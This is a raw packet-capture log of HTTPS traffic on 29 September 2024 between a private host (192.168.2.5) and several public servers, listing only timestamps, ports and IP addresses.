Sep 29, 2024 02:10:23.031903028 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:23.031963110 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:23.032059908 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:23.105122089 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:23.238745928 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.245614052 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.246053934 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.389828920 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.389830112 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.409009933 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.426800013 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:23.511981964 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:23.583498001 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:23.583524942 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:23.584022045 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:23.584647894 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.584700108 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.585139036 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.585176945 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.585324049 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.585398912 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.585705996 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:23.585755110 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:23.586121082 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.586133957 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.586184978 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.586330891 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.586349010 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.586386919 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.587836027 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.587863922 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.587904930 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.597868919 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.598069906 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.598922968 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.599005938 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.603148937 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.603239059 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.618406057 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:23.618540049 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:23.620703936 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.620733023 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.622181892 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.622220039 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.622550964 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.622574091 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.622598886 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:23.667403936 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:23.685257912 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.685386896 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.698471069 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:23.715357065 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.715591908 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.715668917 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.715676069 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.715702057 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.715742111 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.715797901 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.716317892 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.716358900 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.717014074 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.717067003 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.717071056 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.717092037 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.717132092 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.717148066 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.717163086 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.717214108 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.719820976 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.722630978 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.722656012 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.722692966 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.722708941 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.722754002 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.723367929 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.723437071 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.723448038 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.723654032 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.723701954 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.723710060 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.723824978 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.723864079 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.723874092 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.725433111 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.725553036 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.725605965 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.725620985 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.727421045 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.727464914 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.727495909 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.727521896 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.727554083 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.727606058 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.727819920 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.727885008 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.727914095 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.727932930 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.727941990 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.727953911 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.728004932 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.728677034 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.728729010 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.728744030 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.731621981 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.731681108 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.731686115 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.743407965 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:23.791472912 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.791500092 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.791539907 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.791555882 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803637028 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803658962 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803689957 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803709030 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803729057 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803740025 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.803761005 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803811073 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.803811073 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.803812027 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803822994 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803843021 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.803853989 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803879023 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.803901911 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.803965092 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.803980112 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.804061890 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.804089069 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.804109097 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.804122925 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.804171085 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.804897070 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.805213928 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.805247068 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.805272102 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.805282116 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.805295944 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.805330992 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.806643963 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.806685925 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.806691885 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.806705952 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.806754112 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.806843996 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.809412003 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.809442043 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.809467077 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.809469938 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.809484005 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.809518099 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.811012030 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:23.811093092 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:23.811101913 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.811125994 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.811141968 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:23.811173916 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.811182976 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.811198950 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.811203003 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.811233044 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.811253071 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.811276913 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.812249899 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.812293053 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.812304020 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.812319994 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.812354088 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.812367916 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.812381983 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.812428951 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.815936089 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.815972090 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.815994978 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.816015959 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.816040993 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.816073895 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.816080093 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.816133976 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.830543041 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:23.830581903 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:23.835264921 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:23.835305929 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:23.887511015 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:23.887732029 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:23.887794018 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:23.888698101 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.888747931 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.888777018 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.888792992 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.888818979 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.890333891 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890357971 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890415907 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.890422106 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890441895 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890460014 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890463114 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.890481949 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.890490055 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890496016 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.890562057 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890597105 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890615940 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.890655994 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890708923 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890708923 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.890724897 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.890769005 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.890938997 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.891033888 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.891062975 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.891078949 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.891112089 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.891166925 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.891180992 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.891261101 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.891336918 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.891350031 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.891412020 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.891416073 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.891468048 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.892204046 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.892221928 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.892281055 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.892302990 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.892335892 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.892374992 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.896245003 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.896269083 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.896349907 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.896363974 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.899055004 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.899075031 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.899126053 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.899142981 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.899173975 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.916851997 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:23.916898012 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:23.916945934 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:23.916960955 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:23.923280954 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.923346996 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.977618933 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.977634907 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.977703094 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.977737904 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.977762938 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.978301048 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.978319883 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.978352070 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.978370905 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.978403091 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.978439093 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.978946924 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.978966951 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.979007959 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.979024887 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.979065895 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.982520103 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.982537985 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.982582092 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.982594967 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.982625008 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.983097076 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.983109951 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.983164072 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.983186960 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.983212948 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.983792067 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.983810902 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.983850002 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.983863115 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.983905077 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.985990047 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.986004114 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.986056089 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:23.986090899 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:23.986114979 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.026032925 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.064217091 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064255953 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064311981 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.064346075 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064368963 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.064503908 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064526081 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064583063 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.064595938 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064608097 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.064728975 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064780951 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064785957 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.064800024 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064815044 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.064830065 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.064886093 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.146696091 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:24.163716078 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:24.163762093 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:24.164860010 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:24.164928913 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:24.165431976 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.167794943 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:24.167922974 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:24.205828905 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:24.205862045 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:24.239365101 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:24.239419937 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:24.259990931 CEST	49741	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:24.260046005 CEST	443	49741	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:24.260111094 CEST	49741	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:24.262850046 CEST	49741	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:24.262866020 CEST	443	49741	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:24.282450914 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:24.305977106 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:24.306081057 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:24.306137085 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:24.307113886 CEST	49739	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:24.307141066 CEST	443	49739	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:24.900326967 CEST	443	49741	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:24.900412083 CEST	49741	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:24.903346062 CEST	49741	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:24.903357029 CEST	443	49741	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:24.903657913 CEST	443	49741	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:24.905581951 CEST	49741	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:24.951415062 CEST	443	49741	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:25.176791906 CEST	443	49741	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:25.176899910 CEST	443	49741	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:25.176984072 CEST	49741	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:25.198643923 CEST	49741	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:25.198681116 CEST	443	49741	184.28.90.27	192.168.2.5
